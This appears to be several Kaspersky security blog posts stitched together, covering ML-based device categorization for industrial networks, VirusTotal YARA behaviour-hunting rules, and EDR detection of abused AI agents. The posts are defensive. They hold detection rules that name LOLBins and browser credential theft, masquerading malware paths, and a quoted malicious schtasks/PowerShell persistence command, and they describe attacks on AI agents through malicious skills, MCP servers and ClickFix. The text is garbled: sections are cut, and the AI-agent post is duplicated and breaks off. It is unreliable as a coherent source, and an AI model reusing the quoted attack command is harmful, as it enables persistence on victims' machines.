In an industrial network, malicious activity can be hard to tell apart from normal data exchange between devices. Malicious actors routinely rely on legitimate tools and the Living-off-the-Land technique, so a single network connection may show no known signs of an attack: the device uses a familiar protocol and transmits ordinary data. An anomaly can hide in subtle details: the data source, the time of access, or the volume of transferred data may be atypical for a particular device. However, to detect this kind of anomaly, you need to understand the roles of the devices at both ends of the connection and know which network activity patterns are typical for them.

But an organization’s asset inventory data is often incomplete, which makes it harder to catch unauthorized connections in time. Suppose monitoring detects a host that regularly exchanges data with programmable logic controllers (PLCs). Its IP address is known, but the inventory does not specify what role it plays: is it an engineering workstation, a process data server, or a piece of contractor’s equipment? The host may also have been on the industrial network for a long time, with its record going out of date after a network upgrade.

In the joint OT asset inventory guidance released by CISA and its partners in 2025, inventorying devices and classifying them by role are treated as part of OT asset management. For organizations, this is one of the most important areas: according to the SANS 2025 ICS security survey, 50% of respondents had deployed or significantly expanded ICS inventory and visibility tools over the previous 12 months, and 54% named them as investment priorities for the next 12–24 months.

Device inventory in Kaspersky Industrial CyberSecurity for Networks

In Kaspersky Industrial CyberSecurity for Networks, the Asset Discovery technology is the foundation of asset visibility. Passive network traffic analysis detects devices and their interactions, while recognition rules help determine the device category and extract available information about it, such as the vendor, model, or software version. Exactly which attributes the system can obtain depends on the protocol and the traffic it observes. We covered this in more detail at the Kaspersky Industrial Cybersecurity Conference.

Hardware and software information in the device card

The product also supports active polling modules (APMs): where polling is allowed, they can request additional configuration and firmware version details from devices. This kind of inventory is far more detailed than a list of IP addresses.

Installed modules and their placement in a PLC rack

However, even accurate hardware information doesn’t always explain what function a host performs in a specific industrial facility. Gaps appear for various reasons. Some devices send identifying information only at startup or during configuration, while others rarely communicate. Proprietary protocols can’t always be parsed, and encryption may leave only connection metadata for analysis. If the monitoring system doesn’t receive traffic from every segment of the industrial network, some network activity goes unobserved. Active polling doesn’t suit every device or every operating condition.

Devices of unknown category

When there isn’t enough direct information about a device, its category can be refined by looking at the patterns of its recurring network interactions. Analyzing these interactions is the job of Machine Learning Event Processor (MLEP), a service included in Kaspersky Industrial CyberSecurity for Networks 5.0. This machine-learning-based event processor can both refine device categories and detect anomalies in their network behavior.

What data does MLEP analyze?

To compare device behavior, you don’t need to store every packet as a separate observation (a data object) in the ML model. MLEP represents network sessions as a sequence of short 15-second fragments. For each fragment, MLEP stores information about the endpoints (IP, MAC, and port), the direction of data exchange, the protocol, and the number and size of the packets transmitted. Together these make up an event, which then gets a timestamp. Traffic thus becomes a sequence of events showing which hosts a device communicated with, when, and how communication intensity changed.

Aggregating data into events also sets the method’s limits. An aggregated fragment can’t be used to reconstruct the exact order of individual packets or the content of commands. MLEP can draw conclusions about a new protocol only if another KICS technology has managed to recognize it. That said, comparing stable network connections and changes in exchange volume doesn’t require a detailed record of every packet. These observations form the basis of the device’s behavioral history.

From observations to MLEP results

Each object has its own behavioral history, and one object’s history can’t be applied to another. But the principles of behavior analysis, along with some common rules, work across different objects.

Let’s look at how this works in MLEP, which is built on a spiking neural semantic network (NSN).

Event identification

Neurosemantic networks structure information as a multilayer ordered graph, where the data in each consecutive layer builds on the data in the previous one. The nodes of this graph — that is, the units of information in each layer — act as neurons.The NSN creates dedicated channels to handle different event parameters (port, IP, and so on). Unique parameter values for each channel are stored as neurons in layer 0. The event itself, which consists of a set of parameter values, is stored as a neuron in layer 1 of the network. If an event occurs for the first time, neurogenesis creates a new neuron with input connections to the corresponding parameter neurons. This lets the network learn and operate on the event stream at the same time. If the event has occurred before, the network activates the same neuron that was created when the event first appeared. This way, the network identifies each event precisely. Each neuron that corresponds to an event also collects basic statistics: when it was last activated and how many times it has been activated.
 

Event history

In NSN-based event processing, layer 2 and above store sequences of events over time: recurring patterns and the full history. However, categorization and statistical anomaly detection don’t require storing the full packet sequence or a detailed timeline of every network event. As we noted earlier, events are themselves aggregates, which means the order of network packets has already been averaged out. So MLEP keeps history only temporarily, within each episode (30,000 aggregated events by default), which saves computing resources.

Statistics processing in MLEP

MLEP processes statistics mainly through specialized listener neurons on layer −1 (minus one) of the network. Attention heads and monitors are built on these neurons.

Key components of the NSN

When an event arrives, the corresponding neuron is activated, and the network instantly knows whether that neuron is new or was created earlier. Each attention head subscribes to the events or event features it needs and takes in only the activations of the matching neurons. If an event occurs for the first time, all heads are notified and then decide whether to subscribe (grow a connection to the relevant neuron) and receive information about activations of such neurons from then on.

It is called a spiking network because activation information is a spike, not a number. This spike tells the head that something it’s interested in has happened.

An attention head is configured according to scenarios — the situations that MLEP should send alerts about. The core of a head’s configuration is a query, which filters incoming information and serves as the subscription criterion. Unlike regular database queries, this query runs on the stream, so it can react to an event instantly.

Attention heads work very much like the semantics of ordinary human language. A query has a subject of attention (one or more grammatical subjects) and conditions (the other parts of the sentence). In the infrastructure of an industrial enterprise, the subjects are devices on the network, and the conditions are various aspects of network communication, such as ports, protocol, and average packet size. If a head has many subjects (for example, if it’s interested in every device on an industrial network), it fans out: it creates a child head for each individual value of the subject of attention, that is, each device. The child head then watches a specific device and reports to the parent head.

Attention heads don’t accumulate or process statistics. They only filter event streams. When an attention head receives a relevant event, it activates and sends a spike to the monitor subscribed to that head.

Monitors, in turn, have stacks for accumulating and processing events. They can also have their own queries and post-filter information from the head. For example, they can select only new events from those filtered by the head.

There are several types of monitors:

• Stat monitors track changes in the average count of specific events (for example, device activity) over time intervals typical for those events, or in the average values of numeric event parameters (for example, changes in device traffic volume).
• Monitors work from the event alone: they fire when an event has occurred a certain number of times within a given interval, or has occurred for the first time.
• Similar-behavior monitors work with heads that can generalize events, that is, extract just a few parameters whose combination is shared (generalized) across many events.

MLEP uses these monitor types to implement scenarios for categorizing devices and detecting their anomalous behavior:

1. For categorization, MLEP uses attention heads and monitors that identify common behavior across different assets and group devices accordingly. MLEP then takes information from Asset Discovery about the known categories of some assets and extends those categories to other assets in the same group. Because a device can show different types of activity, it may land in several groups. MLEP then makes a weighted assessment across all relevant groups.
   

   Groups of devices with similar network behavior

   At the final stage, the system verifies that assigning the category to the asset is permissible. This is again done by special rule monitors loaded into the NSN at system startup. The rules rely on asset metadata available from Asset Discovery and APMs.

2. MLEP takes a similar approach to anomaly detection: an attention head and a monitor define an anomaly scenario, often loosely. When a monitor activates on such a scenario, MLEP generates an alert about unusual behavior.

The current version of MLEP ships with preconfigured heads and monitors.

The functional dynamic diagram below shows how events from devices on an industrial network are processed.

Event processing flow (click to play)

MLEP in practice: how behavior helps complete the asset inventory

At a facility with several similar production lines, device information may be more complete on some lines than on others. On one line, devices are identified as PLCs, while on another, after an upgrade, some hosts show up only as addresses: the available traffic didn’t provide enough information to determine their category. Still, these devices communicate with the same types of HMIs and process data collection servers. Their communication directions, frequency, and volumes may be similar.

That’s where MLEP comes in. It takes the categories of already known assets and matches recurring features of their network behavior against those of uncategorized devices. When the observed interactions turn out to be similar, MLEP can add a category for that host to the inventory.

Device category suggested by MLEP

Once the category is refined, the industrial network map provides more context about the equipment on the network. When analyzing network activity, the analyst immediately sees the device’s suggested category and can skip looking up each IP address in the design diagrams. This approach is especially useful where equipment changes faster than the documentation is updated.

The suggested category is also checked against existing device information and defined constraints. This helps filter out some contradictory options, but prediction quality still depends on how much of the traffic is visible, especially if the device communicates only rarely.

Anomalous activity and streaming statistics

Investigations of real-world attacks show that attackers actively use both standard tools and permitted protocols. You don’t always need to know an attacker’s specific technique in advance to spot potentially malicious activity. Signature-based detection helps find known signs of an attack, but it doesn’t assess how typical an observed interaction is for a particular device. MLEP compares current activity with the device’s usual network profile: which hosts it communicates with, which protocols it uses, when and how much data it transmits, its average packet size, and so on. The changes it detects help guide the direction of the investigation. Correlating these changes with other events and the operational context helps determine whether malicious actions could be behind them. When investigating an incident that has already been detected, anomalies help reconstruct the sequence of actions.

The first version of MLEP comes with six preconfigured monitors, one for each type of deviation from the device’s usual network profile:

During an investigation, anomalies help reconstruct the sequence of changes: when a specific host established new connections, switched protocols, increased its data transfer volume, or shifted its operating hours. Matching events by device and time shows an analyst how activity unfolded around an incident that has already been detected.

This is especially useful when some of the attacker’s actions fell outside the monitored scope or didn’t trigger other KICS technologies. Correlating these changes with the device’s role, protocol analysis data, and events from other technologies gives the analyst a more complete timeline. Behavioral anomalies show exactly where to look for the missing links and which network interactions need attention.

Atypical Activity Time anomaly card

In the event list, anomalies detected by MLEP are marked with an AI label. Each event shows its name, source, destination, timestamp, and the ID of the triggered scenario.

Conclusion

In an industrial network, whether behavior is anomalous depends on the host where it occurs and that host’s place in the industrial process. The repetitive nature of many communications makes a change in normal data exchange easier to spot, while knowing a device’s function and criticality helps gauge the possible consequences. Taken together, these observations make network traffic more than a list of connections: it helps assess new events in the context of a specific facility, even without an attack scenario known in advance. Machine learning technologies are well suited to this kind of comprehensive analysis, as they can process and organize huge streams of heterogeneous data. Starting with version 5.0, Kaspersky Industrial CyberSecurity for Networks handles this function with MLEP, which works effectively alongside the product’s existing functionality.

What each process entry carries

import "vt"

rule cmd_spawns_schtasks_create {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name icontains "schtasks" and
      p.name icontains "/create" and
      p.parent_name icontains "cmd.exe"
    )
}

Things to know before you write rules

Case 1: porting a Sigma rule, and what it misses

detection:
    selection_parent:
        ParentImage|endswith: '\mshta.exe'
    selection_child:

        - Image|endswith:
              - '\cmd.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
              - '\wscript.exe'
              - '\cscript.exe'
              - '\sh.exe'
              - '\bash.exe'
              - '\reg.exe'
              - '\regsvr32.exe'
              - '\bitsadmin.exe'
    condition: all of selection*

import "vt"

rule mshta_spawns_shell {
  meta:
    description = "Port of Sigma 03cc0c25 (Suspicious MSHTA Child Process)"
  condition:
    for any p in vt.behaviour.processes_list : (
      p.parent_name icontains "mshta.exe" and
      (
        p.name icontains "cmd.exe" or
        p.name icontains "powershell" or
        p.name icontains "pwsh" or
        p.name icontains "wscript" or
        p.name icontains "cscript" or
        p.name icontains "bash.exe" or
        p.name icontains "reg.exe" or
        p.name icontains "regsvr32" or
        p.name icontains "bitsadmin"
      )
    )
}

import "vt"

rule dcom_mshta_spawns_shell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "cmd.exe" or p.name icontains "powershell") and
      p.parent_name icontains "mshta.exe" and
      p.ancestor_names[1] icontains "svchost.exe" and
      p.ancestor_names[1] icontains "dcomlaunch"
    )
}

Case 2: a services.exe that is not, and the copies behind it

import "vt"

rule fake_services_wrong_parent {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name iendswith "\\services.exe" and
      p.parent_name != "" and
      not p.parent_name icontains "wininit.exe"
    )
}

C:\Windows\System32\NlsLexicons0c1a\services.exe
C:\System Volume Information\services.exe
C:\Windows\system\smss.exe
C:\Windows\System32\mfc42\taskeng.exe
C:\Users\Default User\WmiPrvSE.exe
C:\Program Files\Common Files\System\ado\en-US\WmiPrvSE.exe
C:\PerfLogs\Admin\sysmon.exe
C:\Users\<USER>\Downloads\patchregistry\event-stream.exe

import "vt"

rule copy_with_system_name_is_executed {
  condition:
    for any c in vt.behaviour.files_copied : (
      (
        c.destination iendswith "\\services.exe" or
        c.destination iendswith "\\smss.exe" or
        c.destination iendswith "\\lsass.exe" or
        c.destination iendswith "\\csrss.exe" or
        c.destination iendswith "\\svchost.exe" or
        c.destination iendswith "\\wmiprvse.exe" or
        c.destination iendswith "\\taskhostw.exe" or
        c.destination iendswith "\\conhost.exe"
      ) and
      for any p in vt.behaviour.processes_list : (
        p.name icontains c.destination and
        p.parent_name != ""
      )
    )
}

Case 3: headless consoles, renamed or not

import "vt"

rule headless_console_runs_powershell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "powershell" or p.name icontains "pwsh") and
      p.parent_name icontains "--headless"
    )
}

Case 4: persistence that actually ran

import "vt"

rule task_scheduler_runs_dropped_file {
  condition:
    for any run in vt.behaviour.processes_list : (
      (
        run.parent_name icontains "-s schedule" or
        run.parent_name icontains "taskeng.exe"
      ) and
      for any dropper in vt.behaviour.processes_list : (
        for any f in dropper.files_written : (
          (f iendswith ".exe" or f iendswith ".dll" or f iendswith ".vbs" or
           f iendswith ".js" or f iendswith ".ps1" or f iendswith ".bat" or
           f iendswith ".cmd") and
          run.name icontains f
        )
      )
    )
}

schtasks.exe /create /sc minute /mo 1 /tn "AdobeSecurityManager" /tr "C:\Users\<USER>\AppData\Roaming\MicrosoftWorker_e08ec640d\rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & '...\xd24mgasgb4.exe'"

Case 5: .NET binaries reading browser credentials

import "vt"

rule dotnet_lolbin_touches_browser_logins {
  condition:
    for any p in vt.behaviour.processes_list : (
      (
        p.name icontains "aspnet_compiler.exe" or
        p.name icontains "regasm.exe" or
        p.name icontains "regsvcs.exe" or
        p.name icontains "msbuild.exe" or
        p.name icontains "installutil.exe" or
        p.name icontains "addinprocess"
      ) and
      for any a in p.ancestor_names : (
        a icontains "powershell" or
        a icontains "wscript" or
        a icontains "cscript" or
        a icontains "mshta"
      ) and
      for any f in p.files_written : (
        f icontains "\\User Data\\" and
        (f icontains "\\Login Data" or f icontains "\\Web Data" or f icontains "\\Cookies")
      )
    )
}

Testing the rules

Wrapping up

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

KL categories available when configuring Application Control

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

KES notification about an attempt to launch an AI agent

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

AI Tools KL category

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

KES notification about an attempt to access a prohibited web resource

When configuring access, the administrator can block websites that provide AI as a service.

Website categories

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

ai_agent_opencode_access_to_sensitive_file_win Tap to previewTap to hide

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

ai_agent_dangerous_execution_mode Tap to previewTap to hide

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

suspicious_mcp_server_artifact Tap to previewTap to hide

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

llm_api_access_by_unusual_apps Tap to previewTap to hide

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

local_ai_model_artifact Tap to previewTap to hide

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

AI agent profiles on Kaspersky TIP

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

Claude profile on Kaspersky TIP

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Detection section in the Claude profile

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

Rules in the Hunt Hub repository

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Detection rule card in Hunt Hub

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Detection of a malicious agent skill in Kaspersky Scan Engine

Detection of an LLM with malicious code in Kaspersky Scan Engine

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

KL categories available when configuring Application Control

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

KES notification about an attempt to launch an AI agent

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

AI Tools KL category

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

KES notification about an attempt to access a prohibited web resource

When configuring access, the administrator can block websites that provide AI as a service.

Website categories

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

ai_agent_opencode_access_to_sensitive_file_win Tap to previewTap to hide

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

ai_agent_dangerous_execution_mode Tap to previewTap to hide

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

suspicious_mcp_server_artifact Tap to previewTap to hide

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

llm_api_access_by_unusual_apps Tap to previewTap to hide

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

local_ai_model_artifact Tap to previewTap to hide

Kaspersky Threat Intelligence Portal

AI agent profiles

